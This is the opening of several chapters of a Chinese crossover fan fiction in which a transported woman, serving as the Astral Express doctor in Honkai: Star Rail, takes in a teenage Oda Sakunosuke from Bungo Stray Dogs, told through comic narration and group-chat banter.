《在崩铁里捡到少年织田作是否搞错了什么》 1. 是否搞错了什么 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 江沅清在无人售卖的冰淇淋摊前站定,对着几个令人眼花缭乱的奇葩口味挑挑拣拣了半天,选了相对正常的波子汽水跳跳糖味。 她曲起食指敲了敲相应位置的玻璃罩,无人操控的机器就开始殷勤地挖起了冰淇淋球。 在等待的间隙,她抬眼随意扫了一圈周围,视线在街口一个脸上带着婴儿肥的红发少年身上凝滞了一瞬间。 少年不过十四五岁的年纪,个头不高,他穿着一身修身的休闲装,正被一块蹦蹦跳跳的告示牌拦住,脸上有着不太明显的迷茫之色。 江沅清本来是可以理解的——毕竟她刚来匹诺康尼的时候,也被这富丽堂皇的抽象震惊到了。 是的,匹诺康尼,那个二刺螈游戏崩O星O铁道的匹诺康尼! 在跑崩铁相关的团时穿越到这个世界,江沅清冷静地找了半天的时光机,然后就被路过的好心云骑军从垃圾桶里面揪了出来。 ……时光机大概是想妈妈所以回家了。 她自我安慰到位,转头就和一位正在徒手翻垃圾桶的奇女子对上了视线。 那是怎样欣喜若狂的眼神啊,仿佛在暴风雪中踽踽独行了千年而今终于找到了志趣相投的对象一般,那双灿金色的眼睛里充满了喜悦。 灰发的奇女子没有说话,而是嘴角扬起了自信的微笑,她右手递过来一个被压扁的易拉罐,左手抬起来比了个赞。 脑电波跟她对上的江沅清小幅度向后退了两步,轻轻地崩溃了。 星宝你在干什么啊你这样一个漂亮大美人你在拿你能上八百万保险的漂亮双手干什么啊喂!快给我把这个破烂易拉罐塞回去!!! 没错,这个正在翻垃圾桶的金瞳女人是崩铁的主角、由玩家操控的角色,星。 和后赶来的丹恒与三月七解释了半天她不是垃圾同好会的成员并且她也没有被列车家的熊孩子强迫翻垃圾桶,江沅清抬脚准备离开。 粉色头发的小姑娘盯着她没什么说服力的头顶看了半天,恍然大悟道:“难道是走在路上不小心摔进去的?” 江沅清离开的脚一崴。 这要怎么摔?你告诉我这要怎么摔? 她深吸一口气,稳住脸上的微笑:“不是哦。” “哎?那……” 靠谱的成年男性丹恒无奈止住了她未说完的话:“三月。” 跟着指指点点的星将宝贝易拉罐塞进了她的背包,谴责道:“这是在和垃圾桶进行美丽的邂逅!” 她回头给江沅清抛了一个“你放心我都懂”的眼神。 ……你理解了个什么,你告诉我你都懂了什么! 谁要和垃圾桶进行邂逅啊! “……呃,”三月七的脸上展露出了鲜明的无语,她看了江沅清一眼,又轻轻挪走了视线,“咱不知道说什么了,就,祝你玩得开心?” ……谢谢,她并不开心。 江沅清抹了把脸,将裂开的微笑缝了回去,她一边将头顶的香蕉皮丢回该去的位置,一边想着怎样敷衍过去。 好在很快,这俩熊孩子被满脸歉意的丹恒按住了。 “抱歉,打扰了,如果没什么……” 熟练道歉的丹恒顿住了,他的视线停在她的白大褂左肩处,瞳孔皱缩。 等等你这是什么眼神? 江沅清呼吸骤停,顺着他的视线低头一看,发现这里别着一个漂亮的金色徽章。 啊,有点眼熟呢,但是具体在哪里看过的完全不记得呢!不过通常来说,被主角团尤其是主角团里面最靠谱的那个注意到的绝对不是什么小东西!这样一想突然有点慌了。 丹恒收回视线,为自己的失礼道歉:“抱歉,前辈,还没问你的名字。” 江沅清觉得有点不妙,但还是双手插兜,淡定答道:“我?江沅清,三点水的江沅清。” 明白一切的丹恒微微一点头:“原来是江前辈,我们正打算返航,要一起回列车吗?” 不是,你怎么也理解了你又明白了什么?你这么自来熟的吗丹恒老师你人设崩了! 江沅清瞳孔地震。 三月七探头道:“哎?什么江前辈?丹恒你又背着我知道了什么秘密!好哇你!” 从他身后猫猫祟祟探出头的星跟着复读:“好哇你!” “是一位比较……特立独行的无名客前辈,智库里面有记载,”兴许是觉得当本人的面这样介绍生平不是很好,丹恒顿了顿,道,“回列车你们可以自行查阅。” 并没有被冒犯到的本人收回了心里招着的尔康手,镇定点了点头,笑道:“嗯,没想到在这里遇见你们,麻烦了。” 就这样跟着回车的江沅清终于在厚着脸皮若无其事蹭过去看资料的时候,想起了自己在跑团时候捏的身世——出生在罗浮仙舟的孤儿、宇宙知名心理医生、公司的战略合作伙伴之一、黑塔空间站的挂名顾问、曾经的开拓者前辈等一系列牛逼身份。 只是为人喜好安宁,行踪飘忽不定,所以很少有人见过真容。 跑团嘛,只要数值足够支撑你离谱的身份,那么背景什么的合理编造完全没问题! 但是为什么,你大爷的为什么啊,为什么随口乱编的背景竟然真的在崩铁的世界以一种不合常理的方式实现了啊! 整理了半天混乱的思绪,江沅清最后接受了姬子的邀请,成为了列车的医生。 难怪当初她玩崩铁的时候总觉得哪里不对——谁家主角团打架不带奶妈啊!原来这个位置是留给她的啊! 至于你说心理医生……心理医生就不是医生了吗? 虽然她只会小病不治、大病不救,偶尔再微笑着来一句“没救了等死吧”,但是她拥有神奇的力量啊。 江沅清理直气壮,并且迅 2. 少年和同伴 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 江沅清……江沅清再次冷静地舔了口冰淇淋,并且发自内心地认为波子汽水和跳跳糖混在一起的冰淇淋真是人间美味。 ……她到底在逃避什么啊!不就是动漫人物乱入游戏片场吗!放在别的游戏兴许很奇怪但这里可是神奇的崩O星O铁道啊! 抿掉唇角沾着的奶油泡沫,江沅清想好说辞,抬眼又和眼前的红发少年对上了视线。 那双平静的眼睛一直在看着她,一刻也没有离开。 “……不好意思,我走神了,”即将脱口而出的话在江沅清的嘴里面打了个转被她吞了回去,她胡乱扯了个理由,“主要是这个味道的冰淇淋太好吃了。” “是么,”织田作之助点了点头,顿了顿,道,“我也想来一个。” …… 槽点太多,江沅清一时半会儿吐槽不过来,大脑CPU差点给干烧了。 她深吸一口气:“你不觉得哪里不对吗?” 织田作之助的视线这才吝啬地分了一点在她手里的名片上,他伸手接了过来,一字一顿地将她的名字念了出来:“江、沅、清,嗯,我记住了。” 不是这里不对啊喂! 为什么你真的信了这个冰淇淋很好吃啊! 还有,刚才不是在讨论和世界格格不入的问题吗?是她错过了什么你好我好大家好的交友情节吗? 她能看出来少年根本不信任她,他的身形略有紧绷,是很正常的在陌生环境下的警戒……当然也可能是他习惯性的戒备。 但他的言行举止不是这样啊! “你就不怕我下毒吗?” 三岁小孩子都知道陌生人给的东西不能随便吃吧。 “如果是慢性毒药,吃一次没有关系,我会在以后报复回来,”少年的语气毫无起伏,“如果是瞬发性的,那我不会死。” 一脸平淡地说出了什么不得了的话呢! 如果是穿越前的江沅清,她不一定能驾驭得住,但她早在列车那两只熊孩子的折磨下明白了一个道理:人类的力量终究是有限的,她不做人辣! 不做人的江沅清顺着他的话点了点头,淡定指着另一边的魔鬼辣咖喱芥末冰淇淋道:“这个味道也很好吃,你可以试一试这个,我们等会儿去那边聊一聊吧。” 片刻后,二人双双举着冰淇淋在长椅上落座,江沅清特意离远了一点,给自己留足了反应的空间——如果少年被这倒霉味道折磨得恼羞成怒跳起来给她一巴掌,她不能坐以待毙啊! 谁知道织田作之助认真研究了一下手里的冰淇淋,学着她的样子轻轻舔了一口。 猫一样的瞳孔骤然紧缩,少年本就面无表情的脸上浮现出一种茫然的空白,一抹不显眼的红色攀上了他的两颊。 “嗯,很好吃。” 在江沅清准备动用能力避免挨打的时候,织田作之助认真的回答将她砸懵了。 不是,你真吃啊! 她干巴巴回道:“……啊,好吃你就多吃点。” 事先说明,她不是给好吃点打广告,只是完全没话说了。 这人的味蕾到底是由什么做的?这不对吧! 江沅清侧目看去,发现他在认真舔着冰淇淋,没有一点勉强的意思。 她又收回了视线。 只能说世界之大无奇不有吧? “我说你和这里格格不入,其实你应该可以看出来的,这是一个离奇的世界,一个充满幻想的地方,而你却不是这样的人,”开始啃蛋筒的江沅清随手揪出来一只在草丛里蹲着的折纸小鸟,示意他看过来,“你看,很奇妙,不是吗?” 纯粹由纸张折叠出来的粉红色小鸟“啾啾”叫着,对江沅清发出了扰人清梦的谴责。 她很不诚恳地道了个歉,摊开手让它飞了:“啊呀,抱歉,抱歉。” 织田作之助看着慢悠悠晃着翅膀飞向远方的折纸小鸟,若有所思道:“嗯。” 然后没了。 他就“嗯”了一声就没了。 蛋筒已经被啃得只剩下最后那一小段了,江沅清将它填进嘴里嚼吧嚼吧,无奈提醒道:“你没有什么想说的吗?” 她发誓,他但凡从嘴里吐出来一个“没有”,她绝对掉头就走。 这人是不是从小到大都没有朋友?他真的一点都不会聊天! 她这样一个明显的引路人NPC,逮到了不是应该张口就“你是谁”“这是哪”“你要干什么”的三连问吗? 少年在沉思的时候,周遭的空气仿佛都静止了,他最后摇了摇头:“……没有。” …… 冷静,他只是一个孩子!他以前是干杀手的,杀手什么的没有朋友很正常吧!而且那可是文豪O犬的世界,黑/手党遍地走,孩子在这么混乱的情况下还能活成能说话会喘气的样子已经很棒了! 江沅清光速打了两秒之前的自己的脸,并且自我催眠成功。 她轻轻叹了口气:“真没有什么想说的吗?比如问问我怎么回去。” 织田作之助微微一偏头,反问道:“你知道?” “……不知道。” 织田作之助收回了视线,虽然什么都没说,但江沅清还是很微妙地感受到了“那你还说”的不满。 气氛莫名尴尬了起来,江沅清好歹挂了个心理医生的名头,虽然这里面注了不少水但是找话题还是很轻松的。 她率先问道:“那你想怎么办呢?” 有问必答的少年垂下眼帘,开始小口小口地舔着反人类的冰淇淋,沉思着没有说话。 江沅清三两口将剩下的蛋筒填嘴里嚼嚼嚼,也不急着等回答,摸出手机点开消息挨个回复了起来。 群聊消息:列车一家人 [来杯咖啡吧]:大家晚上记得回来列车一趟,有些下一次跃迁的注意事项要和你们说一下。 [丹恒]:好。 [爷狂傲邪魅酷霸拽]:这种事情不要啊! [宇宙第一无敌美少女]:哎?不是放假吗?现在说也太早了吧!咱还没玩够呢! [在下动漫制作人]:事发突然,之前一片死寂的R-28星球突然回应了我们停留的请求。 [在下动漫制作人]:事有蹊跷,冒然前去必有风险,所以需要提前应对。 [丹恒]:明白。 [爷狂傲邪魅酷霸拽]:有星琼吗?没有星琼不干。 [宇宙第一无敌美少女]:你又说怪话了! [牢大我不当奶妈了]:好的,晚上几点? [宇宙第一无敌美少女]:清姐你怎么这么积极!不对劲!你一定是被调包了吧! [爷狂傲邪魅酷霸拽]:同意! [牢大我不当奶妈了]:请你们圆润地离开我的视线,谢谢。 退出群聊,江沅清又开始处理私聊消息。 [爷狂傲邪魅酷霸拽]:图片 是一个灰发女子端着什么东西狂奔的照片。 [爷狂傲邪魅酷霸拽]:快看!猫猫糕!你猜我把他们带回哪里了~ 〔爷狂傲邪魅酷霸拽〕:列车!我知道你喜欢这些小家伙,不用太爱我了老婆,回来得早记得好好照顾它们。 〔爷狂傲邪魅酷霸拽〕:千万别被发现了! … 3. 浓眉大眼的偷渡客 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 “我能问问为什么吗?” 江沅清摩挲了会儿下巴,从星送给她的空间背包里摸出来一枚单片眼镜拿大褂的衣摆漫不经心地擦了擦。 在等待回答的间隙,她将单片眼镜架在了鼻梁上,素来平和的脸上多了几分犀利。 这个变化让织田作之助迟疑地看了她一眼,好像在拿什么人跟她做对比一样。 哎?难道文豪O犬里面也有一个戴上眼镜气场就会大变的角色? 可恶,又要撞人设了吗! 本来淡定人设就和丹恒老师撞了三成,她现在又要跟文豪O犬中的某个人撞了吗? “我曾经是一个杀手,但我不打算继续杀人了。” 江沅清眨了眨眼,单片眼镜下的谎言无处遁形。 是真话。 “我看见了一本很优秀的小说,但它没有结局,”少年似是在和她讲话,又似乎是在喃喃自语,“有人说我可以续写出它的结局。” 真话。 “他说写小说就是在写人,但我无法理解人,或者说,他人。” 还是真话。 “他们都是可以被轻易杀死的存在,为什么要将他们写入其中?” “我不明白,所以我正在寻找原因。” 少年凝视着她,那双黯淡得仿佛蒙上了一层灰雾的眼睛里蓄着清亮的期待:“你看起来知道很多,我想跟在你的后面学习。” 都是真话,他是发自内心这样认为并且为之困惑。 “不好意思,我先插句题外话,”不忍拒绝的江沅清举手道,“你上过学吗?” 织田作之助诚实地摇头。 “好的我知道了,稍等。” 是九年制义务教育的漏网之鱼! 她颇为头疼地取下单片眼镜丢回原位,摸出手机。 无事可做的红发少年就这样安静看着她。 忙着敲字的江沅清被他的眼神盯得如芒在背,只好抽出一缕视线过去找了个话题问道:“非得是我?” 织田作之助点点头:“嗯,你是第一个见到我还肯和我聊天的心理医生。” 言下之意是之前见到你的心理医生都跑路了吗? ……你到底是多吓人啊!难道巅峰时期把你名字丢出去就能止小儿夜啼吗! 手机振动了一下,联系人发来了消息,江沅清又看了回去。 [牢大我不当奶妈了]:雀儿在吗? [领导放心我不摸鱼]:在在在,怎么了?有事快说,我这把决胜局,再摸个八万就能胡了! [牢大我不当奶妈了]:有空的话帮我打包一份仙舟的八十年基础义务教育丛书系列,我让星过去拿。 [领导放心我不摸鱼]:好说好说,我去忙了,拜拜~ [领导放心我不摸鱼]已下线 “可以是可以,”江沅清将手机收了回去,思索道,“但是你……” 话音未落,不远处的嘈杂声响就打断了她的发言,江沅清视线一瞥,发现那乌泱泱的一群人好像是冲着他们所在的地方来的。 江沅清侧耳聆听,并且发动了能力。 <江沅清>的聆听鉴定结果为D100=42/80,成功! 那些交织在一起的声音被路过的风拆开,被它们温和地送入了她的耳中。 “找到了!那个红棕色头发的超级危险的偷渡者!” “各人员就位,各人员就位!启动围剿方案!” “站位都给我站好了,别再让他逃了!” ……这情况不对吧。 江沅清僵硬扭头,看了一眼身侧的少年,视线在他的头顶停滞了许久。 虽然是颜色不太明亮的红色,但也没有到红棕色的地步吧!所以说应该也许可能大概兴许或许说的不是他? 盯得时间太久了,感官敏锐的织田作之助察觉到了她的不对劲,问了出声:“我的头顶有什么东西吗?” 她艰难组织了一下语言,指着那些猎犬系的治安官,冷静地咽了口口水,道:“我说,你刚过来的时候,是不是被一群穿着制服的人围住了,穿得跟他们一样。” “嗯,”少年想了想,又很诚恳地补充道,“但是我没有杀人,我说过今后都不杀人的。” 这是重点吗! 啊啊啊啊啊啊没想到你小子长得浓眉大眼的竟然是个偷渡客!话说你到底怎么从文豪O犬的世界偷渡到匹诺康尼的! “这不是杀不杀人的问题,你应该知道警察吧,”江沅清淡定地理了理衣摆,一脸温和地幸灾乐祸,“他们相当于这里的警察,恭喜你,袭警了。” 织田作之助神色凝重了起来:“这里的警局会提供辣咖喱饭吗?” 你的关注点是不是不对啊喂! 江沅清冷静道:“很遗憾,不会。” 少年一脸遗憾。 “不过没关系,他们应该认识我。” 江沅清一边说着,一边再次发动了能力。 <江沅清>的幸运鉴定结果为D100=86/85,失败! 命运,我恨你。 “……但是既然你想成为我的同伴,那么我稍微考验你一下应该没问题吧,”她立马改口,指着即将赶来的猎犬系家族成员,声音平静,“在不杀死他们的情况下打晕所有人,并且保护好我。” 回应她的是起身简单活动了一下筋骨的少年。 “知道了,我会保护好你。” 江沅清匆忙打开手机。 群聊:列车一家人。 [牢大我不当奶妈了]:谁有空,医生危,速来。 [丹恒]:什么事。 [爷狂傲邪魅酷霸拽]:给星琼吗老婆,给星琼就来! [爷狂傲邪魅酷霸拽]:不给也行,你是我老婆,你说什么就是什么(叼玫瑰) 江沅清直接无视了某个人的垃圾信息。 [牢大我不当奶妈了]:因为某些原因,我在匹诺康尼被猎犬系的治安官追了,等一个人捞我。 [丹恒]:坐标。 〔宇宙第一无敌美少女〕:(猫猫懵逼) 〔宇宙第一无敌美少女〕:你到底是怎么突然惹上他们的啊? 〔牢大我不当奶妈了〕:说来话长,我长话短说一下,就是我为了捞一个可爱的新同伴,不小心和猎犬家系对上了。 〔宇宙第一无敌美少女〕:你这省得也太多了吧! 〔宇宙第一无敌美少女〕:而且这种小事,清姐你解决起来不是轻轻松松吗? [牢大我不当奶妈了]:我只是个偶尔揍人的柔弱奶妈罢了,你在说什么,小三月。 [宇宙第一无敌美少女] 4. 信任 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 织田作之助盯着江沅清手中闪着暗沉金属光泽的百面骰,努力理解着她说的话。 梦境、家族酒店、入梦池,这些陌生的名词和奇异的能力于他而言都是大写的未知,也同样代表着无法猜测的麻烦。 放在过去,他定然不会答应。 ……不,甚至不会停下来看她一眼。 可刚刚那番交流让他看见了一点微弱的曙光。 江沅清知道很多。 同伴…… 看织田作之助陷入了某种沉思,很会自娱自乐的江沅清也不打扰,慢悠悠盘着手里的百面骰。 就当是提前练一练盘核桃的能力,老了之后直接夺取小区盘核桃大赛第一名! 到时候别人盘核桃,她则是自信取出自己的百面骰,表示看见这上面的光泽了没有,是她盘出来哒! “这是同伴必须要做的事情吗?” 织田作之助发声了,出乎意料的,少年既不拒绝也不答应,而是问出了堪称匪夷所思的问题。 “……不是,”被他噎到的江沅清顿了顿,她慢吞吞将手心的百面骰攥了起来,不给他看,“同伴之间没有什么必须不必须去做的,就算有,也不该由我、由同伴告诉你。” 那不就是以同伴之名的pua吗!她又没丧心病狂到这种程度。 不管他懂没懂,江沅清又认真叮嘱了一遍:“必须做的事情,是你自己发自内心认可的才行。” “我知道了,”织田作之助点了点头,将双手搭在腿上,语气淡然道,“我答应你。” 看上去就像一只自觉跳到笼子里蹲好的垂耳兔。 你真的知道了吗?啊? ……所以有时担心孩子被骗得连裤衩子都不剩真的不怪她!这人完全没有戒备心的吗? 明明看上去是个没有感情的杀人机器,但是意外的好说话是怎么回事! 江沅清心情复杂。 “信任不容易搭建,但很容易被消耗,”似乎注意到了她外泄的无奈,织田作之助偏了偏头,道,“你是我挑选的人,所以我愿意将它交付给你。” 但这平白无故就得来的信任同样十分脆弱,只要有一点欺骗的种子便可以轻松摧垮它。 “那是时候该让你看看成年人的力量了,小织同学,”江沅清将手中的百面骰抛上空中,曲起中指随手一弹,“要知道,大人这种东西就是拿来依靠的啊。” 有清脆的金属骰子落地声响起,但那枚百面骰却被一股不知名的力量托住,停滞在了半空。 “我赌向上的那一面是一百,”悠哉悠哉起身的江沅清背手站在织田作之助的身前,俯下身凝视着他湛蓝色的眼睛,“你有什么想说的吗?” 少年没有丝毫不自在,仰头看她,语气略有疑惑:“……这是仪式的一部分吗?” 她只是想耍个帅装个逼她有什么错! 江沅清咬牙切齿。 “……你可以当成是,”江沅清用力挤出来一个狰狞的微笑,压下曲指弹他一脑瓜崩的念头,“闭眼。” 织田作之助“嗯”了一声,顺从闭上了眼。 凑近了看,她发现这个时不时让她心梗的少年有着一副出色的好皮囊,未消退的婴儿肥将他凌厉的眉眼用一层稚嫩的温和包裹住,以至于如果忽略他冷峻的气场,那完全可以把他当成一个邻居家的可爱小弟弟来看待。 但很可惜,平和年代的孩子所拥有的娇纵在他的身上无法体现半分。 他对某些事情看得很通透,但在有些地方却又意外地迟钝,这种奇妙的割裂感让江沅清有些好奇他的过去。 毕竟从朋友那里听来的短短数言,根本无法概括一个活生生出现在她眼前的人。 不过她尊重别人,所以没有动用自己的能力作弊。 况且假如有一天,少年真正懂得了同伴的意义,自然会向她坦诚的吧? “好了,我再送你一个礼物。” 江沅清笑了一声,抬手点了点他的额头,一枚普普通通的六面骰图案在他的眉心闪了闪。 “可以睁眼了,”她长吁一口气,颇为疲惫地瘫倒在椅子上,软成一滩起不来的烂泥,“感觉怎么样?” “神奇的力量,”织田作之助细细感受了一下降临在身上的玄妙之意,“很安心。” 仿佛有一道隶属于命运的桥梁架在了他们之间,将没有什么联系两个人连到了一起。 江沅清抬手打了个响指,一枚滴溜溜转着的骰子就在织田作之助的额头闪烁了起来:“那是自然,遇到危险打个响指,数字投到几,你受到的几成伤害就会摊在我的身上。” “……” “怎么了, 5. 列车的羁绊 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 姬子掐着点赶到现场的时候,周围的猎犬家系成员已经退了个一干二净,只剩下一个棕色头发的颓废大叔正坐在椅子上跟江沅清有一搭没一搭地扯着什么。 凑近了些,还能听见他们聊天的内容。 “我说,你们抓的偷渡客里面真的没有一个浑身缠满绷带的怪人,一个橘色头发蓝色眼睛戴着帽子的矮个男人,”她想了想,又补充道,“也可能不戴着帽子,年纪很小?” 既然织田作之助都来了,那么她是不是也可以期待一下某两位大烫门? 她虽然不看文豪O犬,但是知道辣个烫男人的谷子已经被炒出了上万的价钱,真是恐怖如斯! 大叔开了瓶苏乐达咕嘟嘟灌了一口,舒爽地叹出了无奈的气之后才回答道:“……真的没有,你说的这些人都很有特色,如果见过,我不会没有印象。” 他说得很对,一个是绷带成精,一位本体是帽子,这两人的气质都不是淹没在人群里的存在,如果真的露头了,不会找不到的。 好吧,还有谁来着? 江沅清又努力回想了一下:“那戴着棕色帽子的侦探总有吧!或者说喜欢抱着小女孩儿的萝莉控老男人?” 啊,她对文豪O犬真的不是很了解啊,再想的话就只有刘海剪得很奇怪的白毛少年和没有眉毛的那位总是咳咳咳的芥川。 大家记住了,一个男的老是咳咳咳,他不能生育……啊不好意思,走错片场了。 “我这里不是许愿喷泉,你要想许愿,隔壁街向前三百米转个弯好走不送,”颓废大叔指着边上,正好看见了款款走来的姬子,他立刻收回手指,神色严肃了一点,“姬子小姐。” ……大家长来了……啊不是,来捞她的渔夫到了! 江沅清收起遗憾的神色,对着姬子欢快招了招手。 “给你添麻烦了,看起来二位聊得很高兴,”姬子微微一笑,在她附近站定,以一种袒护的语气状似无意地问道,“事情都解决好了吗?” 江沅清用八个字简单概括了一下她和猎犬家系的治安官加拉赫协商的结果:“都谈妥了,是个误会。” 毕竟人是“棕红色头发的恶魔”织田作之助打晕的,跟她一个手无缚鸡之力的可怜医生有什么关系! 加拉赫爽朗一笑,对着姬子举着手中的苏乐达晃了晃,释放了自己的善意:“毕竟星穹列车的诸位在匹诺康尼都是贵客,贵客怎么可能做危害匹诺康尼的事情?” 姬子扬唇一笑,微微点了点头,示意江沅清跟上:“人我就带走了,欢迎以后来星穹列车做客。” 加拉赫抿了口苏乐达,看着她们的身影在拐弯口消失。 他慢慢摩挲着长满胡茬的下巴:“星穹列车……你们会怎么选,我倒是有点好奇了。” 回去的路上,姬子似有遗憾地叹了口气:“我还以为这次我需要去安保局那样的地方签一下保释书,没想到就这样解决了。” 江沅清理直气壮:“我又不是星和三月七她们。” “是吗,小三月和小星听到这话应该会很高兴吧,”姬子笑眯眯地举起手机,“得告诉她们这个好消息才是。” ……哇,好腹黑一女人! 完全不敢想那两人知道后会怎么样拿捏她,江沅清光速滑跪:“我错了,其实我动用了能力,让猎犬系治安官提前来了。” “是吗,”姬子撩了下头发,悠悠走在她前面,“你和我说的‘新同伴’怎么不见了?” 江沅清隐瞒了织田作之助的“动漫人物”身份,将事情的始末讲了一遍。 “我需要去他在的地方将他带回来,”江沅清将手背到身后,略有停顿道,“所以很抱歉,R-28星球的开拓之旅我没有办法去,也无法留守列车。” 姬子沉思片刻,抛出一个致命问题:“你一个人去吗?” 江沅清不假思索道:“当然啊,这是我的私事,不能打扰……” 她的话讲到一半突然卡在喉咙里吐不出来了。 意识到她终于想起来列车同伴的姬子无奈道:“就算我同意了,小三月他们也绝不会哦?我建议你还是和他们几个沟通一下比较好,不然……” 她转身耸了耸肩,仗着个子高挑将手嚣张地搭在了江沅清的肩膀上:“况且我也不同意。” 被她身上温暖的香气迷晕了眼睛,江沅清恍恍惚惚跟着她登上了列车。 等她反应过来的时候,她已经被几个神色严肃的人围在了中心。 ……糟,到底为什么会变成审问现场,姬子你什么时候把事情告诉给大家的岂可修! 看着他们每个人的脸上都挂着不同样式的不赞同,江沅清心虚得要命,但是面上却不显,甚至还能无辜反问出声:“怎么了?” 三月七率先发起冲锋:“好哇你还问怎么了,你是不是要背着我们做危险的事情了,我告诉你啊,你不许一个人去!” 丹恒惜字如金地支持道:“嗯。” 星掂了掂手中的棒球棍:“我的棒球棍和炎枪早已经饥渴难耐了!” 三月七将军的炮口又对准了星:“这是说怪话的时候吗!” 星无辜地眨了眨眼:“我只是想跟我老婆一起去罢了!女朋友不要吃醋,你跟我们一起去就好了。” 三月七拍了 6. 冤冤相报何时了 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 看了眼可怜巴巴的三月七,看了眼满脸自信拿手指着自己明示的星,看了眼双手环臂面无表情只拿一双眼睛盯着她的丹恒,江沅清的视线缓缓挪走,最后和地面贴到了一起。 这种家养的几只猫猫围在一起扒拉着猫箱想和人一起出门的既视感是怎么回事? 没人能忍住可爱猫猫的诱惑! 但她江沅清是谁,她常年被这几只看起来乖巧的猫崽子拿外貌蒙骗,以至于连滚带爬跟在后面收拾了好久的烂摊子。 她,早就不做人了! “我记得丹恒不太擅长聊天吧,这趟旅途尽量不打架,如果有和地方政府沟通的情况,你可以吗?” 如果真要挑一个人陪着,不会惹是生非的丹恒显然是最好的选择,但江沅清有自己的打算,所以率先在鸡蛋里挑起了骨头。 丹恒迟疑了片刻,没有冒然点头。 知道他只是在习惯性评估自己的江沅清不给他这个机会,无理道:“你犹豫了,丹恒。” “抱歉。” 星和三月七两人骄傲扬头。 一杀! “小三月……你的性子……比较单纯,我有点担心。” 三月七选手难以置信,三月七选手喵喵乱叫,三月七选手比比划划! 三月七选手争取到了复活赛! 鉴于她强烈的意愿,江沅清给她一个机会,为她讲了一个脑筋急转弯。 “从前有个人叫周芷若,她实力很弱,为了锻炼自己,她每天都在喝粥,你知道为什么吗?” 三月七冥思苦想,但反射弧绕赛道三圈半也没有想到原因,只好不服道:“为什么啊?” “因为她叫粥止弱。” “……” 三月七同学突然宇宙猫猫头升华了! 反应过来的她脸上露出了鲜明的无语。 “清姐,你不想带我去大可不必这样。” 这叫什么脑筋急转弯啊!好弱智啊! 江沅清用耸肩来遮掩自己的心虚,看向了翘首以盼的星。 “至于星嘛,你如果保证不翻垃圾桶、不随便往喷泉里面丢硬币、不闯入别人家里翻箱倒柜、不乱提着你的棒球棍敲打障碍物、不看见一个漂亮美人就乱喊老婆、不乱吃地上捡的食物……” ……够了,她心疼自己! 她越说血压越高,想到之前处理的各种事情,直接凑过去捏着那张柔软的脸笑得很核善:“那我就同意你去。” 信谁都不能信她!她绝对是最能挠墙的一只猫! 星垂头丧气,像被剁了爪子强行塞进猫笼的可怜小猫。 三月七在旁边憋起了笑,被星凑过去拿头拱了拱。 星,败北! 江沅清,三杀! “但不用急着下定论,”他们在这边闹得正欢,露出一点笑意的老杨无奈出声道,“有些事情还没来得及和你们说。” 三月七拍了拍星掐着她脸的手,嘟囔道:“杨叔都发话了!你快放手!” 星被江沅清扯得五官乱飞:“不要,你先让江沅清放手!” 瞧瞧,有事喊老婆没事就直呼大名,这善变的嘴脸! 江沅清微笑着又搭上了一只手,开始拿两只手揉搓她的脸。 不想处在食物链下层的三月七眼疾手快地拉住了站在旁边的丹恒,抬手薅住了他的半边脸。 丹恒保持着双手环臂的动作,眉头微蹙:“……我不玩。” 脸都在她手上了,一点也不怕的三月七嚣张道:“那你让清姐先放手!” 丹恒轻飘飘的视线缓缓地落在了江沅清的脸上。 “丹恒,你是个绅士,对吧,你不会……喂!” 这边在冤冤相报何时了,那边已经在交谈起来了。 姬子捧着冒着热气的咖啡走过来:“是有关R-28星球的事情吧,大家都听一听。” 正打算放手处理正事的江沅清听到了姬子下面的话:“哦,对了……我给大家泡了点咖啡,有谁想尝尝?” 来了来了,死神举着她的咖啡壶来了! 江沅清瞳孔地震,立刻祸水东引:“小三月说她想喝这个,自从上次尝了姬子的咖啡,她总是念念不忘呢!” 魂儿飘了好几天才被她从天上拽下来的那种怀念。 “喂!我什么时候我……不是,”顶着姬子温柔的死亡视线,怂了的三月七毅然决然打算拉着大家一起去世,“我的意思是,美好的东西当然是要大家一起分享啊!” 被祸害不浅的星发出了混沌乐子人的声音:“一起分享!” 唯一被无辜牵扯下水的丹恒发表了以下六点看法。 “……” 害人者人恒害之,这是颤抖地捧着咖啡杯的江沅清痛定思痛之后得出的结论。 众人安静下来后,老杨也开始了他的发言:“江,你回来之后有看过那位新同伴的定位吗?” 刚进列车就被人团团围着的江沅清摇了摇头。 “这就对了,我怀疑的是我们的目的地相同,”老杨慢吞吞放下咖啡,双手交叉在一起,一脸深沉,“毕竟过于巧合了。” 别以为我不知道你摆出这样高深莫测的姿态就是为了逃避姬子的死亡咖啡! 江沅清在心里唾弃这种行为,并且有学有样地放下了咖啡交叉起了双手,也跟着严肃道:“是吗? 7. 失落的文明 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 虽说姬子和老杨直接挑明了这颗已死的星球并不正常,但大家都不是怕事的人,甚至还有一个一天不挑事就浑身难受的欢愉信徒。 唯一可能有点顾虑的江沅清被姬子的一杯绝命咖啡毒倒,丧失了投票权。 等她魂兮归来的时候,开拓R-28星球的先锋小队已经准备背起行囊了。 ……她恨。 只怪她思考事情的时候过于专注,于是做出了先自信发言“我这刀上可是涂满了剧毒的”然后邪魅舔刀口的蠢事。 事已至此,只能接受了。 不出意外是队长的江沅清找到了队里唯一做事慎重的存在,期待地看着他:“丹恒。” 丹恒心如明鉴:“我知道。” 两人视线对上,江沅清狠狠松了口气。 嘿嘿,你靠谱了我就可以整活儿了! 他们四个人是在一片废墟中降落的。 本来一脸期待的三月七被四散的尘土呛了个昏天黑地,咳嗽了半天之后才想起来放下手中举着的相机。 她嫌弃地扫视了一圈四周,挠头道:“哎我说,咱几个真没来错儿地儿吗?这看着不像住人的地方啊!” “这才对,毕竟公司和博识学会都判定它已经死亡,有人才不对劲。” 江沅清一边说着,一边拉住兴奋从身后抽出棒球棍就要溜走的星,为了求稳,她发动了能力。 〈江沅清〉的导航鉴定结果为:D100=65/70,成功! 得到结果的她点头道:“确实是这里。” 丹恒警戒地打量着四周,示意大家噤声,他闭上眼睛耳朵略有抽动,仔细听着远方的动静。 三月七紧张地搓了搓两边胳膊上此起彼伏的鸡皮疙瘩,跟着探头张望。 